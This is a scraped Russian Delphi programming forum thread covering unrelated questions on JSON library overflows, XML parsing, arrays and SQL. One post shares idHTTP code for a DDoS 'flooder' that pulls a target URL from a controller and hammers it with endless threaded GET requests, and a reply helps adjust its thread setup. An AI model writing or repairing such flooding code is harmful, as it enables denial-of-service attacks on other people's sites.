в файле superobject.pas в самом начале поставить: Code: {$Q-} там есть эта директива, но в теле процедуры. Если кратко, то эта ошибка происходит при вычислении контрольной суммы данных. По алгоритму - там может быть число больше Int64. Директива отключения этой ошибки в файле есть, но седьмая делфя не воспринимает ее, т.к. она не в начале модуля UPD: сам в свое время выносил себе моск пол дня, пока не продебагил всю цепочку процедур
Подскажите плиз, библеотека Ehlib бесплатна? А то везде пишут, что последняя версия запускается только из IDE, вне Ide должна вылезать ошибка. На сайте тоже написано, что 6 кусков стоит. Но юзаю уже 3 месяца 5+версию и нормик. странно как-то
Подскажите как разобрать XML. Мучаюсь не могу разобрать правильно. Задача получить параметры item. Их очень много в 1 файле. Текст XML Code: <root type="backpack" iconspath="http://w0.tmgame.ru/files/"> <item id="36404464" art_id="174" expire="0" type_id="5" bpslot="0" cost="0" cost_real="0" cost_teeth="0" amount="0" flags="624" flags_grp2="0" sharpen_id="0" color="#00a92f" race="0" level="0" obj_type="8" slots="0" slot_num="0" aslot="0" set_id="0" img="art/174.gif" strength_cur="0" strength_max="0" ><title><![CDATA[Концентратор.]]></title><body><![CDATA[<p>На первый взгляд этот шар не представляет из себя ничего особенного, кроме того, что внутри беснуются молнии. Но на самом деле - это настоящее произведение инженеров, потративших на его изготовление восемь лет.</p>]]></body><type><![CDATA[Квестовые предметы]]></type><stats></stats><actions></actions><sid>5b499a2b4ed2906fbf2a18a51f16c826</sid></item> <item id="36429907" art_id="175" expire="0" type_id="5" bpslot="0" cost="0" cost_real="0" cost_teeth="0" amount="15" flags="628" flags_grp2="0" sharpen_id="0" color="#00a92f" race="0" level="0" obj_type="8" slots="0" slot_num="0" aslot="0" set_id="0" img="art/175.gif" strength_cur="0" strength_max="0" ><title><![CDATA[Загруженный эмиттер]]></title><body><![CDATA[<p>Этот эмиттер специально разработан лучшими инженерами Гномов для поимки духов. Не стоит открывать крышку. Во всяком случае пока.</p>]]></body><type><![CDATA[Квестовые предметы]]></type><stats></stats><actions></actions><sid>d0ecc88a2a29f42b5eb2e00d2ce9e290</sid></item> </root>
вариант без цикла, для статического или для динамического массива Code: var i: integer; stat_points: array [0..15] of TPoint; din_points: array of TPoint; begin for i := 0 to Length(stat_points) - 1 do begin stat_points[i].X := i; stat_points[i].Y := i*10; end; FillMemory(@stat_points[0], SizeOf(stat_points), $00); //заполнение нулями статического или динамического массива SetLength(din_points, 16); //динамическое создание массива for i := 0 to Length(din_points) - 1 do begin din_points[i].X := i; din_points[i].Y := i*10; end; SetLength(din_points, 0); //уничтожение SetLength(din_points, 16); //создание заново, будет заполнен нулями end;
вообщем надо прогнать массивы point1,point2,point3 по цыклу.... как правильно это зделать? var point1 : array of integer; point2 : array of integer; point3 : array of integer; I,s: integer; begin s:=1; for I=0 to 3 do begin point:=1; end; s:=s+1; end;
Code: type mass = array [1..10] of integer; var point: array [1..3] of mass; i, s: integer; begin for s:=1 to 3 do for i:=1 to 10 do point[s][i]:=1;
type mass = array [1..10] of integer; var point: array [1..3] of mass; i, s: integer; begin for s:=1 to 3 do for i:=1 to 10 do point:=1; попробывал не пашет(((( пишет undeclared identifier 'mass'((( что делать? уже всю голову сломал(
проблема с idhttp delphi Пишу простенькую флудилку HTTP запускаю 2 процедуры в потоках. процедура geturl выполняется без проблем а вот сам ддос поток почему то не работает... procedure getflood; begin form1.ddos.Get(ddosurl); end; procedure TMyThread.Execute; begin while true do begin getflood; end; end; procedure geturl; begin ddosurl:=form1.http.Get(gettarget); end; procedure dropstream.Execute; begin while true do begin geturl; sleep(delay); end; end; procedure startt; var i:integer; begin geturl; drop:=dropstream.Create(false); drop.Priority:=tpNormal; for i:=1 to streams do begin MyThread:=TMyThread.Create(false); end; end;
for i:=1 to streams do begin MyThread:=TMyThread.Create(false); MyThread.Priority:=tpLowest; MyThread.FreeOnTerminate:=true; end;
select name+" "+firstName+" "+otchestvo,id_post from Directory order by name выводит в combobox список имя,фамилия,отчество(значение id_post не отображается).Как мне получить текущее значение id_post и записать его например в переменную?
Нужно написать программу для шифрования и дешифрования текстового файла методом простой замены. Для доступа к файлу необходимо запрашивать пароль. К программе написать пояснительную записку. Пожалуйста помогите очень нужно!
необходимо написать программу определяющую по введенным с клавиатуры значениям координат точки (х,у) ее принадлежность к одному из образов. И есть рисунок на котором три фигуры(круг, прямоугольник и квадрат), могу написать координаты, если надо, еще могу сказать, они налаживаются друг на друга, но это я уже сам доделаю, мне просто понять как это все сформулировать... Помогите пожалуйста
я нашёл исходник одной программы,переделал её. Теперь необходимо создать. при нажатии F9 выскакивает вот такая ошибка http://s59.radikal.ru/i166/1302/14/b36f917135db.jpg также при загрузки исходника вылазиют ошибки.
читать мессаги компилятора сейчас уже непристойно? ps: если сквозит, то собирать проект написанный в delphi XE+ на седьмых делфях, увы ни к чему хорошему не приведет...
